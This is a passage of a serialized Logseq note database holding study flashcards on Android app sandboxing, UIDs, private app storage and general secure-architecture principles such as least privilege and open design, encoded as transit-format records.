`execute`)logseq____",536870916]],[logseq____"^15logseq____",[204,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[204,logseq____"^Flogseq____",206,536870916]],[logseq____"^15logseq____",[204,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[204,logseq____"^Vlogseq____",217,536870916]],[logseq____"^15logseq____",[204,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[204,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[204,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[204,logseq____"^;logseq____",logseq____"~u67b83fac-903e-4781-bec4-8e617def8acalogseq____",536870916]],[logseq____"^15logseq____",[205,logseq____"^Qlogseq____",logseq____"*shared preferences*: persistent key-value store (by default readable only for the owning app)logseq____",536870916]],[logseq____"^15logseq____",[205,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[205,logseq____"^Flogseq____",221,536870916]],[logseq____"^15logseq____",[205,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[205,logseq____"^Vlogseq____",221,536870916]],[logseq____"^15logseq____",[205,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[205,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[205,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[205,logseq____"^;logseq____",logseq____"~u67b83fac-30b9-46d8-95cb-6b6417cbbfd1logseq____",536870916]],[logseq____"^15logseq____",[206,logseq____"^Qlogseq____",logseq____"Only owner and root can change permissionslogseq____",536870916]],[logseq____"^15logseq____",[206,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[206,logseq____"^Flogseq____",214,536870916]],[logseq____"^15logseq____",[206,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[206,logseq____"^Vlogseq____",217,536870916]],[logseq____"^15logseq____",[206,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[206,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[206,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[206,logseq____"^;logseq____",logseq____"~u67b83fac-0146-4506-81d1-08a347d8827elogseq____",536870916]],[logseq____"^15logseq____",[207,logseq____"^Qlogseq____",logseq____"## Starting Applications #cardlogseq____",536870916]],[logseq____"^15logseq____",[207,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[207,logseq____"^Flogseq____",213,536870916]],[logseq____"^15logseq____",[207,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[207,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[207,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[207,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[207,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[207,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[207,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[207,logseq____"^;logseq____",logseq____"~u67b83fac-635c-453c-981e-908b49fb978alogseq____",536870916]],[logseq____"^15logseq____",[208,logseq____"^Qlogseq____",logseq____"~```mermaid\\nflowchart LR\\n subgraph App Process\\n subgraph Dalvik VM / ART\\n A[\\logseq____"App Code (classes.dex)\\logseq____"]\\n B[Core libs]\\n end\\n C[\\logseq____"JNI(Java Native Interface)\\logseq____"]\\n D[\\logseq____"Native code (*.so)\\logseq____"]\\n end\\n E[Kernel]\\n\\n A logseq____<--logseq____> B\\n A logseq____<--logseq____> C\\n B logseq____<-- syscalls --logseq____> E\\n B logseq____<--logseq____> C\\n C logseq____<--logseq____> D\\n D logseq____<-- syscalls --logseq____> E\\n```logseq____",536870916]],[logseq____"^15logseq____",[208,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[208,logseq____"^Flogseq____",213,536870916]],[logseq____"^15logseq____",[208,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[208,logseq____"^Vlogseq____",213,536870916]],[logseq____"^15logseq____",[208,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[208,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[208,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[208,logseq____"^;logseq____",logseq____"~u67b83fac-5fe6-46c5-95d6-df60201a09f9logseq____",536870916]],[logseq____"^15logseq____",[209,logseq____"^Qlogseq____",logseq____"## General Idealogseq____",536870916]],[logseq____"^15logseq____",[209,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[209,logseq____"^Flogseq____",183,536870916]],[logseq____"^15logseq____",[209,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[209,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[209,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[209,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[209,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[209,logseq____"^;logseq____",logseq____"~u67b83fac-9e6a-4898-af0c-f2c468356ce0logseq____",536870916]],[logseq____"^15logseq____",[210,logseq____"^Qlogseq____",logseq____"Apps *share memory locations* of shared libraries, e.g., core libslogseq____",536870916]],[logseq____"^15logseq____",[210,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[210,logseq____"^Flogseq____",200,536870916]],[logseq____"^15logseq____",[210,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[210,logseq____"^Vlogseq____",200,536870916]],[logseq____"^15logseq____",[210,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[210,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[210,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[210,logseq____"^;logseq____",logseq____"~u67b83fac-b9e2-414e-b590-3773e3d6d081logseq____",536870916]],[logseq____"^15logseq____",[211,logseq____"^Qlogseq____",logseq____"Installed apps have separate `UID` and `GID`(group ID) ($logseq____> 10.000$ vs *predefined* UIDs for code Android apps and services)logseq____",536870916]],[logseq____"^15logseq____",[211,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[211,logseq____"^Flogseq____",184,536870916]],[logseq____"^15logseq____",[211,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[211,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[211,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[211,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[211,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[211,logseq____"^;logseq____",logseq____"~u67b83fac-7f71-4062-9d74-435d2658c449logseq____",536870916]],[logseq____"^15logseq____",[212,logseq____"^Qlogseq____",logseq____"Exhausting process limit for UID causes this to faillogseq____",536870916]],[logseq____"^15logseq____",[212,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[212,logseq____"^Flogseq____",195,536870916]],[logseq____"^15logseq____",[212,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[212,logseq____"^Vlogseq____",196,536870916]],[logseq____"^15logseq____",[212,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[212,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[212,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[212,logseq____"^;logseq____",logseq____"~u67b83fac-05fa-4a06-b00e-fe7977add1a4logseq____",536870916]],[logseq____"^15logseq____",[213,logseq____"^Qlogseq____",logseq____"## Application Process Internals #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[213,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[213,logseq____"^Flogseq____",201,536870916]],[logseq____"^15logseq____",[213,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[213,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[213,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[213,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[213,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[213,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[213,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[213,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[213,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[213,logseq____"^;logseq____",logseq____"~u67b83fac-14f9-4cee-bb52-0797e7ae4e02logseq____",536870916]],[logseq____"^15logseq____",[214,logseq____"^Qlogseq____",logseq____"Utilize Linuxlogseq____' *discretionary* file access control (owner can change permissions and ownership)logseq____",536870916]],[logseq____"^15logseq____",[214,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[214,logseq____"^Flogseq____",217,536870916]],[logseq____"^15logseq____",[214,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[214,logseq____"^Vlogseq____",217,536870916]],[logseq____"^15logseq____",[214,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[214,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[214,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[214,logseq____"^;logseq____",logseq____"~u67b83fac-6547-4f3e-a4d7-1e987dad0e35logseq____",536870916]],[logseq____"^15logseq____",[215,logseq____"^Qlogseq____",logseq____"*DWM/ART* is not a security boundary (can be circumvented with native code)logseq____",536870916]],[logseq____"^15logseq____",[215,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[215,logseq____"^Flogseq____",208,536870916]],[logseq____"^15logseq____",[215,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[215,logseq____"^Vlogseq____",213,536870916]],[logseq____"^15logseq____",[215,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[215,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[215,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[215,logseq____"^;logseq____",logseq____"~u67b83fac-9deb-451b-b440-4b2ec0cb8ceflogseq____",536870916]],[logseq____"^15logseq____",[216,logseq____"^Qlogseq____",logseq____"Use of *UID* (user ID, assigned per application on installation)logseq____",536870916]],[logseq____"^15logseq____",[216,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[216,logseq____"^Flogseq____",186,536870916]],[logseq____"^15logseq____",[216,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[216,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[216,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[216,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[216,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[216,logseq____"^;logseq____",logseq____"~u67b83fac-11ec-42e6-a800-781a4492c9f1logseq____",536870916]],[logseq____"^15logseq____",[217,logseq____"^Qlogseq____",logseq____"## Private App Directory #card #security-architecture\\nid:: 67b74d96-f668-44e4-83c6-0760487f0281logseq____",536870916]],[logseq____"^15logseq____",[217,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[217,logseq____"^Flogseq____",207,536870916]],[logseq____"^15logseq____",[217,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[217,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[217,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[217,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[217,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[217,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b74d96-f668-44e4-83c6-0760487f0281logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[217,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536870916]],[logseq____"^15logseq____",[217,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b74d96-f668-44e4-83c6-0760487f0281logseq____"],536870916]],[logseq____"^15logseq____",[217,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[217,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[217,logseq____"^;logseq____",logseq____"~u67b74d96-f668-44e4-83c6-0760487f0281logseq____",536870916]],[logseq____"^15logseq____",[218,logseq____"^Qlogseq____",logseq____"Disclosing these locations allows for exploits circumventing ASLRlogseq____",536870916]],[logseq____"^15logseq____",[218,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[218,logseq____"^Flogseq____",210,536870916]],[logseq____"^15logseq____",[218,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[218,logseq____"^Vlogseq____",200,536870916]],[logseq____"^15logseq____",[218,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[218,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[218,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[218,logseq____"^;logseq____",logseq____"~u67b83fac-77d1-41e4-b718-ca22ffdcb399logseq____",536870916]],[logseq____"^15logseq____",[219,logseq____"^Qlogseq____",logseq____"## IOS Comparisonlogseq____",536870916]],[logseq____"^15logseq____",[219,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[219,logseq____"^Flogseq____",199,536870916]],[logseq____"^15logseq____",[219,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[219,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[219,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[219,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[219,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[219,logseq____"^;logseq____",logseq____"~u67b83fac-c597-49cb-b2d9-b6e6c93298e6logseq____",536870916]],[logseq____"^15logseq____",[220,logseq____"^Qlogseq____",logseq____"Until Android 10, process of the same app (process attribute in the [[Application Manifest]] ) allowed for sharing their sandbox (only if signed with same developer key)logseq____",536870916]],[logseq____"^15logseq____",[220,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[220,logseq____"^Flogseq____",211,536870916]],[logseq____"^15logseq____",[220,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[220,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[220,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[220,logseq____"^Ulogseq____",28,536870916]],[logseq____"^15logseq____",[220,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[220,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[220,logseq____"^Hlogseq____",28,536870916]],[logseq____"^15logseq____",[220,logseq____"^;logseq____",logseq____"~u67b83fac-404a-4890-a061-7d54fb480a5alogseq____",536870916]],[logseq____"^15logseq____",[221,logseq____"^Qlogseq____",logseq____"## Storage Options for Apps #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[221,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[221,logseq____"^Flogseq____",217,536870916]],[logseq____"^15logseq____",[221,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[221,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[221,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[221,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[221,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[221,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[221,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[221,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[221,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[221,logseq____"^;logseq____",logseq____"~u67b83fac-bf29-4c66-bb27-522478e6aae5logseq____",536870916]],[logseq____"^15logseq____",[222,logseq____"^Qlogseq____",logseq____"Give control flow to VM process\\nlogseq.order-list-type:: numberlogseq____",536870916]],[logseq____"^15logseq____",[222,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[222,logseq____"^Flogseq____",188,536870916]],[logseq____"^15logseq____",[222,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[222,logseq____"^Vlogseq____",207,536870916]],[logseq____"^15logseq____",[222,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[222,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[222,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536870916]],[logseq____"^15logseq____",[222,logseq____"^Jlogseq____",[logseq____"^19logseq____"],536870916]],[logseq____"^15logseq____",[222,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536870916]],[logseq____"^15logseq____",[222,logseq____"^;logseq____",logseq____"~u67b83fac-9867-43f2-9c8b-0e2116e863b0logseq____",536870916]],[logseq____"^15logseq____",[223,logseq____"^Qlogseq____",logseq____"Application sandbox specifies which system resources the application is allowed to accesslogseq____",536870916]],[logseq____"^15logseq____",[223,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[223,logseq____"^Flogseq____",209,536870916]],[logseq____"^15logseq____",[223,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[223,logseq____"^Vlogseq____",209,536870916]],[logseq____"^15logseq____",[223,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[223,logseq____"^;logseq____",logseq____"~u67b83fac-e2da-4af7-919e-4a2d13a302a3logseq____",536870916]],[logseq____"^15logseq____",[225,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[225,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[225,logseq____"^Ylogseq____",logseq____"secure architecture principleslogseq____",536870916]],[logseq____"^15logseq____",[225,logseq____"^11logseq____",logseq____"Secure Architecture Principleslogseq____",536870916]],[logseq____"^15logseq____",[225,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[225,logseq____"^;logseq____",logseq____"~u67b983c6-a951-4c28-b2bd-2a37adeb6c8blogseq____",536873220]],[logseq____"^15logseq____",[226,logseq____"^Qlogseq____",logseq____"Satisfy trust assumptions using validated propertieslogseq____",536870916]],[logseq____"^15logseq____",[226,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[226,logseq____"^Flogseq____",233,536870916]],[logseq____"^15logseq____",[226,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[226,logseq____"^Vlogseq____",233,536870916]],[logseq____"^15logseq____",[226,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[226,logseq____"^;logseq____",logseq____"~u67b83fac-569f-4f6e-8a09-21ff8a8ff5c9logseq____",536870916]],[logseq____"^15logseq____",[227,logseq____"^Qlogseq____",logseq____"Security must be usablelogseq____",536870916]],[logseq____"^15logseq____",[227,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[227,logseq____"^Flogseq____",254,536870916]],[logseq____"^15logseq____",[227,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[227,logseq____"^Vlogseq____",254,536870916]],[logseq____"^15logseq____",[227,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[227,logseq____"^;logseq____",logseq____"~u67b83fac-7fc3-4bfe-8586-2c403ae1ede8logseq____",536870916]],[logseq____"^15logseq____",[228,logseq____"^Qlogseq____",logseq____"## Secure, fail-safe defaultslogseq____",536870916]],[logseq____"^15logseq____",[228,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[228,logseq____"^Flogseq____",225,536870916]],[logseq____"^15logseq____",[228,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[228,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[228,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[228,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[228,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[228,logseq____"^;logseq____",logseq____"~u67b83fac-8a78-4620-b6bc-aa184da1b8f0logseq____",536870916]],[logseq____"^15logseq____",[229,logseq____"^Qlogseq____",logseq____"Virtual Machineslogseq____",536870916]],[logseq____"^15logseq____",[229,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[229,logseq____"^Flogseq____",235,536870916]],[logseq____"^15logseq____",[229,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[229,logseq____"^Vlogseq____",244,536870916]],[logseq____"^15logseq____",[229,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[229,logseq____"^;logseq____",logseq____"~u67b83fac-b861-41c7-b9ec-9916fe80acb6logseq____",536870916]],[logseq____"^15logseq____",[230,logseq____"^Qlogseq____",logseq____"Fine-grained privileges allow for isolated [modules]((67b73d61-146d-41b7-88c1-bfe2f62977c9))logseq____",536870916]],[logseq____"^15logseq____",[230,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[230,logseq____"^Flogseq____",232,536870916]],[logseq____"^15logseq____",[230,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[230,logseq____"^Vlogseq____",234,536870916]],[logseq____"^15logseq____",[230,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[230,logseq____"^;logseq____",logseq____"~u67b83fac-c863-43c0-986d-9779c3b473d8logseq____",536870916]],[logseq____"^15logseq____",[231,logseq____"^Qlogseq____",logseq____"## Isolationlogseq____",536870916]],[logseq____"^15logseq____",[231,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[231,logseq____"^Flogseq____",247,536870916]],[logseq____"^15logseq____",[231,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[231,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[231,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[231,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[231,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[231,logseq____"^;logseq____",logseq____"~u67b83fac-c651-475c-bdd8-c4d029c4dbc7logseq____",536870916]],[logseq____"^15logseq____",[232,logseq____"^Qlogseq____",logseq____"Privilege as ability to access/modify a resourcelogseq____",536870916]],[logseq____"^15logseq____",[232,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[232,logseq____"^Flogseq____",246,536870916]],[logseq____"^15logseq____",[232,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[232,logseq____"^Vlogseq____",234,536870916]],[logseq____"^15logseq____",[232,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[232,logseq____"^;logseq____",logseq____"~u67b83fac-2649-4f4a-9787-c8eb33c4beeblogseq____",536870916]],[logseq____"^15logseq____",[233,logseq____"^Qlogseq____",logseq____"## Minimize Trust - Maximize Trustworthinesslogseq____",536870916]],[logseq____"^15logseq____",[233,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[233,logseq____"^Flogseq____",243,536870916]],[logseq____"^15logseq____",[233,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[233,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[233,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[233,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[233,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[233,logseq____"^;logseq____",logseq____"~u67b83fac-fe13-48c5-a8cc-874ed7ad7e1elogseq____",536870916]],[logseq____"^15logseq____",[234,logseq____"^Qlogseq____",logseq____"## Least Privilege\\nid:: 67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____",536870916]],[logseq____"^15logseq____",[234,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[234,logseq____"^Flogseq____",249,536870916]],[logseq____"^15logseq____",[234,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[234,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[234,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[234,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[234,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536870916]],[logseq____"^15logseq____",[234,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____"],536870916]],[logseq____"^15logseq____",[234,logseq____"^;logseq____",logseq____"~u67b73cc0-6cc9-4099-81fe-fb696e04c2e6logseq____",536870916]],[logseq____"^15logseq____",[235,logseq____"^Qlogseq____",logseq____"Micro-Kernelslogseq____",536870916]],[logseq____"^15logseq____",[235,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[235,logseq____"^Flogseq____",250,536870916]],[logseq____"^15logseq____",[235,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[235,logseq____"^Vlogseq____",244,536870916]],[logseq____"^15logseq____",[235,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[235,logseq____"^;logseq____",logseq____"~u67b83fac-d918-48f8-881a-33b85818a8f9logseq____",536870916]],[logseq____"^15logseq____",[236,logseq____"^Qlogseq____",logseq____"## Open Designlogseq____",536870916]],[logseq____"^15logseq____",[236,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[236,logseq____"^Flogseq____",54,536870916]],[logseq____"^15logseq____",[236,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[236,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[236,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[236,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[236,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[236,logseq____"^;logseq____",logseq____"~u67b83fac-b3c0-4a7d-81c3-0895df27466flogseq____",536870916]],[logseq____"^15logseq____",[237,logseq____"^Qlogseq____",logseq____"## Least Common Mechanismlogseq____",536870916]],[logseq____"^15logseq____",[237,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[237,logseq____"^Flogseq____",234,536870916]],[logseq____"^15logseq____",[237,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[237,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[237,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[237,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[237,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[237,logseq____"^;logseq____",logseq____"~u67b83fac-81dc-4800-a640-8948bf434470logseq____",536870916]],[logseq____"^15logseq____",[238,logseq____"^Qlogseq____",logseq____"Kerckhoffslogseq____' principle, i.e., security should not rely on the secrecy of mechanismslogseq____",536870916]],[logseq____"^15logseq____",[238,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[238,logseq____"^Flogseq____",236,536870916]],[logseq____"^15logseq____",[238,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[238,logseq____"^Vlogseq____",236,536870916]],[logseq____"^15logseq____",[238,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[238,logseq____"^;logseq____",logseq____"~u67b83fac-e547-408b-89f8-8db71b30f5e5logseq____",536870916]],[logseq____"^15logseq____",[239,logseq____"^Qlogseq____",logseq____"Minimized shared functionalitylogseq____",536870916]],[logseq____"^15logseq____",[239,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[239,logseq____"^Flogseq____",237,536870916]],[logseq____"^15logseq____",[239,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[239,logseq____"^Vlogseq____",237,536870916]],[logseq____"^15logseq____",[239,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[239,logseq____"^;logseq____",logseq____"~u67b83fac-e320-49dd-a85b-04e67aa7f52blogseq____",536870916]],[logseq____"^15logseq____",[240,logseq____"^Qlogseq____",logseq____"Every asset access must be check against the security 